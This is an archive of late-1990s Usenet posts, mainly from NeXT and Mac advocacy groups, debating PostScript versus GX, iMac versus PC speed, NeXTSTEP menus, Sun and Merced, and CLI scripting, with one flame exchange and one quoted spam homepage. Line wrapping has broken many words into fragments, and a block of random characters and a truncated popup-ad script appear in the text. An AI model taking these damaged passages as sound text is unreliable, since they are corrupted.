nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21C3FFD-EB0D2@206.165.43.114> "Lawson English" wrote:
>> Maury, I just looked at the PS Extreme press release. It said that PSE
is
>> based on the PDF imaging model. I couldn't find ANYTHING that said that
>PS
>> Extreme would handle things like 3D transforms or transparency options
>or
>> anything else that a shape-based pre-press solution [like GX] handles
that
>> PS/PDF doesn't.
>
> I didn't say it did.
+++++
Maury Markowitz <maury@remove_this.istar.ca> said:
Lawson English <english@primenet.com> said:
> Now, let's pretend that Mike Paquette's ultra-high-end 4x3 transform is
now
> present and a 4x3 (or even 3x3) transform has been applied to some text
and
> graphics. Are you claiming that PS manipulation is going to be able to
> handle the needs of such pre-press?
No, I'll let Adobe's release of PostScript Extreme make that claim for
me.
It's for precisely this use that they invented it.
+++++++
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: goofin@work.com (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 09 Sep 1998 17:31:49 -0600
Organization: werk
Message-ID: <goofin-0909981731490001@norln310mac15.colorado.edu>
References: <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net> <not-ya02408000R0809982207430001@news.colorado.edu> <2850C45CFA7C14CA.57F35E1B000A771D.A7C7D08CEF7C99C7@library-proxy.airnews.net>
In article
<2850C45CFA7C14CA.57F35E1B000A771D.A7C7D08CEF7C99C7@library-proxy.airnews.net>,
nhughes@sunflower.com (nate) wrote:
> February of what year? I took it that you were commenting on early
> 80s. If you want to change to late 80's we can do that too.
Your fault for not knowing enough about the Supra... And it's a pretty
stupid copout even if it's a honest mistake. Like I said, Supras did not
really exist as a seperate car line until 1987. It's like the Mustang
Cobra or the Corvette Callaway, or the Shelby Contour, they are not
seperate model lines.
> Int he meantime, GM is still building faster full-sized cars which
> outperform your souped up escort and cost less.
Not as far as I've seen in *any* test.
Put up the numbers! An around $1200 PC (How much you can get the iMac
for nowdays) with a kickass 15" monitor (it better have backing
corroboration from some test somewhere saying so) head to head against an
iMac. I'm not talking about the 333 mHz Celeron, that costs $1700 with a
midrange 15" monitor (add maybe $60-75 more for a very good monitor).
I want a head to head test from a reputable magazine/independant firm.
No assumptions, no lame ass excuses or lala land diversions. I want to see
if you are able to put up something real for once.
A 333 Celery is not the same beast as a 300 Celery anyway... I have
doubts about it's overclockability as well.
> No, it has an engine outdone by a Celeron.
Proof? I haven't seen any. You really gotta prove this one and back it
up with great referances, because this is the dumbest, most ass backward
thing I have seen come from you so far. And you aren't exactly a genius in
my book.
> As I said, light to light, the supra would be creamed... every time.
> The poor little 6 cylinder combined with turbo lag would drag it right
> down. Whereas the IROC running a tuned 6.6 would have balls to the
> wall power from the get-go. You need to get more of you experience
> from life and less from magazines.
Light to light on a drag strip with stock cars... The dinosaur IROC Z
wouldn't stand a chance. That's why they test it on the quarter mile...
Now good boys and girls, how long is a drag strip? Gooood...
Talk to me when you have actually replaced the blower assembly, changed
the fuel mixture, and replaced the myriad components in your car engine.
And having experienced dragging in a 1996 mustang cobra with an
aftermarket turbo blower against a new Camaro Z28, I can tell you turbo
lag affects you for maybe a fraction of the first second... After that,
they are smelling your exhaust.
Magazines give you the referances to back your claims up. Something
your statement above totally lacks. So you stand guilty of making baseless
claims. You have already been proven wrong twice. Next time you bring
something to this debate (ass whupping) make sure it's backed up to the
driveway with referances.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: 10 Sep 1998 01:32:19 GMT
Organization: Michigan State University
Message-ID: <6t7a73$58t$3@msunews.cl.msu.edu>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74>
<joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net>
<tapella-0709981610060001@22w2-1.dyn.pas teur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net>
<tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net>
<6t40cb$jhc$1@cronkite.cs.umd.edu> <35f5924c.0@nnrp1.news.uk.psi.net>
<6t6hcp$h1j$3@cronkite.cs.umd.edu>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: seanl@cs.umd.edu
In <6t6hcp$h1j$3@cronkite.cs.umd.edu> Sean Luke wrote:
> Richard Frith-Macdonald (richard@brainstorm.co.uk.) wrote:
> : seanl@cs.umd.edu (Sean Luke) wrote:
> A much cleaner approach: the submenu should be centered around the
ubmenu
> item that pops it up. This is a clear error in the NeXT menu
ch,
> and it'd be wise to let it go.
>
> NeXTSTEP did so many things right, and has so many elegances in it,
that I
> fail to see why some of us are so frightened of admitting that NeXT
> screwed up now and then.
>
I think most of us former NeXT advocates would simply agree. Though
here
is a point that one could make that one could question whether starting
g at
the top of a sub-menu and going down is better than starting in the
ddle.
One could just as easily argue that those sub menu items should pop up
in
the order that you use them - what a concept eh. If that were the
ase
then indeed the above idea would hold very nicely.. Not terribly
icult
do do with some service that monitors your menu choices and modifies
the nib file appropriately when you quit (serious modification would
ave
to occur to the OS to have it happen on the fly). The data could be
tored
in a .nib.use file, or even preferences.
I think even though many of us are aware of the disadvantages of how
NeXTstep did some things. We are also aware of how elegant and natural
others were. Surely Steve HAD to make the NeXT GUI look different
than the Mac GUI mainly for 'legal' reasons. Which dominated the GUI
design considerations estetics, user efficiency analysis, or
nt
reasons is hard to say (anyone from NeXT care to chime in here).
Another thing to consider is that even though these flaws exist one can
clearly see that were Apple/NeXT to take into account some of the
great feedback available in these groups they could have improved
upon the NeXT/Mac GUIs dramatically. What we have is neither of
these things IMO and Apple is simply selling the Mac look and feel
rather than picking and choosing from the best of NeXTstep and the
best of Mac since no legal restrictions would apply. I guess we get
some chance at customizing the desktop AFAIK so maybe we'll
be pleasantly suprised.
Something else about menus and some of the comments above. At
least when we had .nibs we could rearrange the menu items/buttons
etc. to our hearts content and the application would still work :) (As
s far
as I remember - I'm sure I played with a nib or two to customize a few
things for fun just to see if it could be done).
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 10 Sep 1998 01:07:53 GMT
Organization: Michigan State University
Message-ID: <6t78p9$58t$1@msunews.cl.msu.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
<6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu>
<6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<35EEFBD2.24124D00@ericsson.com> <slrn6uugb2.26p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<35F03240.EFCA4EBD@ericsson.com> <6stdr0$919$1@msunews.cl.msu.edu>
<stevehix-0609981754160001@192.168.1.10>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: stevehix@safemail.com
In <stevehix-0609981754160001@192.168.1.10> Steve Hix wrote:
> In article <6stdr0$919$1@msunews.cl.msu.edu>,
> spammers@ruin.the.internet.channelu.com wrote:
>
> > In <35F03240.EFCA4EBD@ericsson.com> Michael Peck wrote:
> > > Matt Kennel wrote:
> > >
> > > > In other words, Sun did not choose between hardware and
re.
> >
> > Yes but I think Michael pointed out that Sun has
> >
> > SMCC is a hardware platform company. SunSoft, Inc. is a software
> > company.
>
> Not any more...the "planetary" organizational structure is being
> done away with (if it isn't quite gone yet), at the very least
> greatly reduced.
I guess we'll see how long Sun and other custom hardware/software
solution vendors survive.. Maybe they will. I am not convinced
though. I don't think people realize how fricken hard it is to
ve
on 1-2% of the total market, funnelling tons of cash into hardware
and software support and development.
> > Apple has no such division, which is sorely needed IMO.
>
> It has some advantages, some disadvantages. (Trust me, I know from
> long working experience.)
True and I'm also aware of some of these. But I think Apple
is sticking it's head in the sand by in one sense ignoring
the whole legacy equation on MS, x86, but in another exploiting
it on PPC. Every cpu arch switch hurts if one has to upgrade
applications to run on it, to derive the potential performance gains.
Users rightly want to stay with the software they have but yet
yield the hardware performance gains. It might not be right
but it does happen. And as far as I can tell Apple is targeting
precisely the user markets. There are no compelling reasons
for anyone who has a legacy investment in a x86 PC to buy
a Mac IMO, in fact there are many reasons not to. Count
your software.
Once Merced comes into play and people are forced to upgrade
applications (if they are) then they may consider moving to a
different platform. Almost always they will still want to have the
option of running their old stuff - if not just to migrate files
rd.
> > > > and that Solaris x86 is wilting under neglect.
> > >
> > > This is not fair in the least. Solaris x86 is a crown jewel for
Sun,
>
> Suuure it is.
:) I would have thought JAVA is jewel they are shining up.
Funny given Java's history and the lack of common place
security encryption in the US I have to wonder when the day
will come that hackers will be turning up the heat in buildings
or turning coffee pots and lights on/off etc.
The US where all our Java appliances are ready for the world
to play with ;0
> > > even though most people don't know it. Sun has continued to ship
the
> > > product year after year, despite disappointing sales. Most other
> > > companies (like Apple, for instance) would have dropped it long
ago.
> > > Sun knows what it's doing because it sees the transition coming.
>
> They do because it is a check-off item.
It might be. Then again why is it a check off item. Maybe for legacy
customers so they don't alienate them also. One thing it shows
Sun does care about it's customer base, enough to at least have
a version for x86 boxes. I think Sun realizes their clientell
lly
arn't home users, and they will pay not to alienate them.
> > Yes I agree Sun knows that eventually the x86 line will be where
t's at.
>
> Hardly. They're looking at Merced (at this point, more strictly at
erced's
> follow-on) as a potential potential future backup.
We'll see what happens with Merced. Thing is if everyone is banking
on Merced then everyone will have a Merced box. Care to speculate
how many OS's will then run on Merced platforms. Also care to
speculate how many folks will buy a proprietary Merced box over
an open one? I think I know the answer - I'll let folks think it over
and let time tell.
> There is *no* interest in switching from SPARC to x86...no point in
taking
> two steps back.
That's because SPARC is their bacon. If Merced shows well and
ne
starts selling merced boxes how much pressure do you think will be
on these hardware vendors. And if you make your money from hardware
how long will you survive in a day where you can't get 100% or higher
margins on hardware..
> > They are building legacy there. They are also probably hoping
at
> > when merced transitions that x86 legacy issues will be nicely
esed.
>
> Given the differences between the old (x86) and new (Merced)
ctures,
> current x86 work is probably less useful than you might think.
>
Maybe. Again we'll see. I havn't read up on Merced as much as I
uld
so I don't know the issues. I think if Merced doesn't have some
nt
x86 compatibility on chip, then it will be brought in via a secondary
x86
chip. Rest assured there will be a huge demand for such a feature or
contraption. The x86 legacy effect will be huge. The interesting
thing
with opensource OS's legacy effects are dramatically reduced allowing
hardware vendors a lot more freedom. Anyone see a big plus here..
Add up the pieces - and a suprising picture emerges for future
ng
technology software and hardware wise. Encryption because of the US
spook paranoia is going to become more and more of a headache as
non-US firms take the lead there.. Interesting that one thing the US
S could
have lead the world in and we are mired what seems forever in whether
Bill Clinton shines his joey every once and a while. It really shows
the
rest of the world a fantastic side of the US.
(BTW: A comment not intended to continue as a topic of dicussion
IMHO whether clinton does or not is between him and Hillary. But
the fact he looked the camera
in the eye and said he didn't - that IMHO is very bad. Whether
anyone got improper favors because of relationships is a valid
question - but whether he is moral or not isn't - except in a general
sense - like if he trys to sell us on his moral integrity). And all
his
from encryption wow.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: erick@sfu.ca (Erick Bryce Wong)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 10 Sep 1998 01:03:45 GMT
Organization: Simon Fraser University
Message-ID: <6t78hh$jc1$1@morgoth.sfu.ca>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>> Intel has lowered the core voltage of the mobile Pentium II
>> at 300 MHz to 1.6 V, so that the maximum power at 300 MHz of the
>> processor core & L2 cache is 11.6 W.
>>
>> For comparison, IBM's 2.0 V core PPC 750 uses 4.7W max. at 333 MHz.
>> (This is without L2.
>
>Of course, IBM's 400 MHz PPC 750 will be even lower.
I think the copper 400MHz G3 that already announced by IBM is 5.7W max.
That's roughly linear with respect to the 333MHz part which is probably
on the same process. But I thought it was 1.8V or 1.9V, not 2.0V.
-- Erick
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0909982147080001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <EyzJr5.J8n@T-FCN.Net> <heaney-0809982325440001@24.0.246.137> <Ez0xsy.GJ9@T-FCN.Net> <heaney-0909981654340001@24.0.246.137> <Ez1DsB.3tD@T-FCN.Net>
Organization: Solid Object Software
Date: Thu, 10 Sep 1998 01:38:16 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 18:38:16 PDT
In article <Ez1DsB.3tD@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> > but they are attached to the
> > method icons in the class method lists; not inside the methods themselves.
>
> Welllllll. Ok let me re-ask, one of the problems I had was trying to
> figure out which of the little circles on the call was supposed to be for
> which input (and outputs), so every time I made a syscall I had to look up
> what they were. Did they fix this? I thought that there should be a hot-key
> that would pop-up labels on all of the inputs and outputs of the selected
> object(s). That alone would have helped enourmously IMHO.
No, they did not fix this. Good programmers O:-) comment the inputs (and
outputs if ambiguous). PI did not. But it is a simple matter to examine
the comments of the method itself. You could even set up a keyboard macro
to do it.
> > The automatic part is that any comments that you attach to sections,
> > methods, attributes or classes show up in the Info window, which is very
> > Think Reference like and automatically hyperlinked. One way to view the
> > comments is to Option-double-click on an operation icon.
>
> In my version it _was_ ThinkRef. Did they change this? I know Think
> basically left it to die.
There is a distinction between the Prograph operations and external
operations, which Mac Toobox function qualify as. If you double-click on a
Prograph operation, the method implementation opens. If you double-click
on an external operation then the Info window opens, providing the data
types of the inputs and outputs of the function. If you write your own
external C functions you can also add other comments. The Info window is
very much like Think Reference. There is also a button that will take you
to the corresponding page of Think Reference.
If you Option-double-click a Prograph operation then you get the Info
window for that method, rather than the method implementation. This is
good because you can see its comments and you can HyperLink to all the
related objects. If you do the same to a Mac Toolbox call then you get the
Think Reference, bypassing the Info window altogether.
MacTech now maintains the Think Reference application. They use it on the
CDs to reference all their articles and other reference material.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 10 Sep 1998 01:14:26 GMT
Organization: Michigan State University
Message-ID: <6t795i$58t$2@msunews.cl.msu.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <slrn6uugb2.26p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<35F03240.EFCA4EBD@ericsson.com> <6stdr0$919$1@msunews.cl.msu.edu>
<6svjjn$28f@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6svjjn$28f@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror
after @ wrote:
> In a world where adding Carbon to the mix and renaming it MacOS X
> was seen as the death of the Yellow Box and Rhapsody; and where
> Apple already has a reputation of abrupt stomach-churning swerves,
> I hope Apple considers all your excellent suggestions after making
> sure MacOS X is delivered on time. Maybe the future is Linux,
> but do you think Apple can survive yet another change in direction ?
>
Hey arun,
I'm not sure what direction your indicating. But I would ask
whether Apple can survive long term if the continue with a proprietary
OS (in fact 2 of them), and Proprietary non x86 compatible hardware.
There are some that think because Apple downsized and is starting
to show miniscule profits vs. huge red ink that everything is rosey..
Maybe it is. Happily I expect Apple stock to continue to climb. 60
by
year end it not impossible (especially if their profits rise to
ing
like 100-250M (or beyond?!) in the next quarter.
Until they get hit hard (next year Q2 or Q3) as most Mac Owners get
ne
upgrading their 4-6 year old hardware, and Apple finds very little x86
market
penetration of PPC.
Though I'll be happily pleased if this scenario doesn't happen.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 9 Sep 1998 06:01:11 GMT
Organization: I don't think so
Message-ID: <slrn6vc6mt.3go.jason@jhste1.dyn.ml.org>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137>
John Heaney posted the following to comp.sys.mac.advocacy:
>> The nicest thing about a CLI is the seamless transition to simple
>> scripting. I needed to convert a bunch of gif's to jpg's this weekend:
>> Step 1, get a list of the files:
>> $ ls *.gif >foo
>> Step 2, edit foo to invoke the Image Magick "convert" for each file
>> $ vi foo
>> For the curious, I did two substitutions:
>> 1,$s/.*/convert & &z/
>> 1,$s/gifz/jpg/
>> Step 3, make foo a script
>> $ chmod +x foo
>> Step 4, run the script
>> $ ./foo
>> Total elapsed time 15 seconds.
Better:
$ for i in *.jpg; do convert $i `echo $i | sed 's/\.jpg$/.gif/'`; done
>I have to say that's mighty impressive. Truthfully, is this something
>you've already done about a zillion times? For my own edification, I tried
>just typing in the commands as you wrote them. It took me 38 seconds and I
>made one typo. Of course, I was picking the commands out of the other text
>and it's unusual text for me to type. So, I tried it again and got 32
>seconds. I'm not the fastest typist in the world, but I am a touch typist.
>You must really blaze on the keyboard. Are you so versed in vi that you
>didn't even have to think about how to do those substitutions?
--
"Down the left field line -- Is it enough? -- Gone!"
-- Joe Buck
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0909982228260001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com>
Organization: Solid Object Software
Date: Thu, 10 Sep 1998 02:19:35 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 19:19:35 PDT
In article <35F6FEE8.9D090CC3@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
Go back and read it, but all I can say is that everything he said
underscores the fact that only programmers could use a CLI. Take away from
that number most of the programmers in the world that also don't want to
bother with all that nonsense and add a few techno geek programmer wannabe
teenagers. I'm sorry if this sound crass, but the users I deal with and
write software for are not going to have the time or the desire or even
the need to learn how to do the stuff you're talking about.
The most efficient way of doing things is not always the most efficient
way of doing things. I just moved to Rhode Island from California and my
mother-in-law lives with us, so she moved too. RI is very different from
CA when it comes to driving. RI is all surface streets, so there's a
zillion ways to get anywhere. I could tell my mother-in-law the most
efficient route to a given destination, but she would get confused and
lost. Even if she did get there, her anxiety level would be very high.
It's better to tell her the easiest route to follow. That's what computers
are like for most people.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
Date: Tue, 08 Sep 1998 23:40:19 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
> So why haven't you kill filed me? You said you're were going to do it.
> How long are you going to be in denial? Jay nailed you. You might as
> well just tell everyone why Apple fired you.
Actually I did kill file you but then removed it. And how did Jay nail
me? He claimed that I live in washington and that I was fired from Apple,
both are false.
I am curious too, you unix users (jason s? Sal?). Jay Riley and
"cybernought" are lamely saying they nailed me that I live in the state of
washington, by using whatroute. How would this show that I live in
washington? I asked "Cybernought" how this would show this, and he
refused to say (I assume he had no clue so he gave some lame reason why he
wouldnt explain)
> >
> > I remember the
> > > problems that one gave you. And then you where putting the CDs in
> > > upside-down, or something like that, and it kept you from installing
> > > NeXT right.
Yet another lie from "Cybernought".
> >
> > No, the cd was defective. Physically defective, had a big scratch on the
> > bottom of the cd. How many people would inspect the bottom of the cd?
>
> Yet you proclaimed NeXTStep to be "a hundred times better" than the Mac
> OS. How did you make that determination from a CD that could have
> never installed the OS properly?
True. THAT cd could never install the os. How you can conclude I never
got it installed shows your great mental prowess.
>
> Lots of people look at the bottoms of the CDs, by the way. I do, and
> I've seen many others do it.
Ok. I believe you. It happened that it took me several weeks to examine
the underside of the cd. If you want to berate me for this, feel fine to
do so.
> > > So just why did Apple fire you? Was it due to incompetence?
> >
> >
> > As you have been told numerous times, I was never fired from Apple. So
> > why do you constantly keep telling this lie?
>
> Give it up, Steve. You've been nailed on this. You may as well spill
> the beans.
Really? How was I nailed? Jay RIley made a false statement. Actually he
made TWO false statements. So Mr Cybernought, please tell us what the
evidence is that I live in the state of washington, and that I was fired
from Apple.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: Jeff Elli <pcflyernospam@earthlink.net>
Newsgroups: comp.sys.sinclair,comp.sys.palmtops.pilot,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.misc,comp.sys.mac.advocacy,comp.sys.laptops,comp.sys.ibm.pc.soundcard.tech,comp.sys.ibm.pc.hardware.chips,comp.sys.ibm.pc.hardware.video,comp.sys.ibm.pc.hardware.storage,comp.sys.ibm.pc.games.action,comp.sys.ibm.pc.games.flight-sim,comp.sys.ibm.pc.games.rpg,comp.sys.ibm.pc.games.strategic,comp.sys.amiga.misc,comp.periphs.scsi,comp.os.linux.advocacy,comp.os.linux.misc,comp.os.linux.setup,comp.lang.perl.misc,comp.lang.java.programmer,comp.lang.javascript,comp.lang.basic.visual.misc,comp.lang.c++,vmsnet.sources.games
Subject: Re: Homepage
Date: Wed, 09 Sep 1998 21:35:33 -0500
Organization: EarthLink Network, Inc.
Message-ID: <35F73AE9.FB041F33@earthlink.net>
References: <35F737D8.958A4BEF@netteens.com>
Mime-Version: 1.0
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man big time cross posting and html use...if i did this i would be
swamped with email nastygrams
Peter wrote:
> ----------------------------------------------------------------
> [Image]
> You are the [Image] th view the Brian's Collection according to the
> Ethiopic Web Counter [Image]
> [Image]
>
> My personal homepage
>
> [Image]
> All about my info, good download, superb links and online games can be
> find here!!
>
> My newsgroup
>
> [Image]
> Besides newsgroup, it also provide a chatroom and a place to advertise
> you homepage!! Click here NOW!!
> -----------------------------------------------------------------------
> [» ´ä TOP100]
> This site is best viewed with [netscape], 800x600
>
> -----------------------------------------------------------------------
>
> My email: huibrian@geocities.com
>
> My ICQ: 13098351
> -----------------------------------------------------------------------
> [Image]
> This page hosted by Geocities Get your own Free Homepage
> <!-- var urlOfNewPop=
> "http://www.geocities.com/ad_container/pop.html?cuid="+cuid+"&keywords="+keywords;
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> (oldPop.location.href != urlOfNewPop) { if ((navigator.appName ==
> "Netscape") && (parseInt(navigator.appVersion) == 3)) {
> setTimeout("oldPop.close()", 750);
> setTimeout("window.open(urlOfNewPop, '_popIt',
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> setTimeout("window.open(urlOfNewPop, '_popIt',
> [Click to see more great pages on Society.]
>
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man big time cross posting and html use...if i did this i would be swamped
with email nastygrams
<P>Peter wrote:
<BLOCKQUOTE TYPE=CITE>
<HR WIDTH="90%" SIZE=4>
<CENTER></CENTER>
<CENTER><IMG SRC="cid:part1.35F73AE9.DF40CCD0@earthlink.net" ></CENTER>
<CENTER></CENTER>
<CENTER><B><I>You are the <IMG SRC="cid:part2.35F73AE9.DF40CCD0@earthlink.net" >
th view the Brian's Collection according to the <A HREF="http://cyberethiopia.com/ethiopic/counter.htm" TARGET="_blank" onMouseOver="window.status='Ethiopic Web Counter'; return true" onMouseOut="window.status=' '">Ethiopic
Web Counter</A> <IMG SRC="cid:part3.35F73AE9.DF40CCD0@earthlink.net" ></I></B></CENTER>
<CENTER></CENTER>
<CENTER><IMG SRC="cid:part4.35F73AE9.DF40CCD0@earthlink.net" ><B><I></I></B></CENTER>
<H1>
<FONT FACE="Arial"><A HREF="http://www.geocities.com/Tokyo/Harbor/me.html">My
personal homepage</A></FONT></H1>
<CENTER><A HREF="http://www.geocities.com/Tokyo/Harbor/me.html"><IMG SRC="cid:part5.35F73AE9.DF40CCD0@earthlink.net" ></A></CENTER>
<CENTER></CENTER>
<CENTER>All about my info, good download, superb links and online games
can be find <A HREF="http://www.geocities.com/Tokyo/Harbor/me.html">here</A>!!</CENTER>
<H1>
<FONT FACE="Arial"><A HREF="http://www.geocities.com/Tokyo/Harbor/clubintro.html">My
newsgroup</A></FONT></H1>
<CENTER><A HREF="http://www.geocities.com/Tokyo/Harbor/clubintro.html"><IMG SRC="cid:part6.35F73AE9.DF40CCD0@earthlink.net" ></A></CENTER>
<CENTER></CENTER>
<CENTER>Besides newsgroup, it also provide a chatroom and a place to advertise
you homepage!! Click <A HREF="http://www.geocities.com/Tokyo/Harbor/clubintro.html">here</A>
NOW!!</CENTER>
<CENTER></CENTER>
<CENTER>
<HR><!-- Code --><A HREF="http://top100.hksrch.com.hk"><IMG SRC="cid:part7.35F73AE9.DF40CCD0@earthlink.net" ALT="» ´ä TOP100" BORDER=0 HEIGHT=43 WIDTH=100></A></CENTER>
<CENTER></CENTER>
<CENTER><FONT FACE="Arial,Times New Roman"><FONT SIZE=+2>This site is best
viewed with <IMG SRC="cid:part8.35F73AE9.DF40CCD0@earthlink.net" ALT="netscape" HEIGHT=31 WIDTH=88>,
800x600</FONT></FONT></CENTER>
<P>
<HR>
<P><FONT FACE="Arial Black,Arial"><FONT COLOR="#FFD700"><FONT SIZE=+1>My
email: <A HREF="Mailto:huibrian@yahoo.com">huibrian@geocities.com</A></FONT></FONT></FONT>
<P><FONT FACE="Arial Black,Arial"><FONT COLOR="#FFD700"><FONT SIZE=+1>My
ICQ: 13098351</FONT></FONT></FONT>
<CENTER></CENTER>
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Get your own Free Homepage</B></CENTER>
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Newsgroups: comp.sys.next.advocacy
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From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Message-ID: <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com>
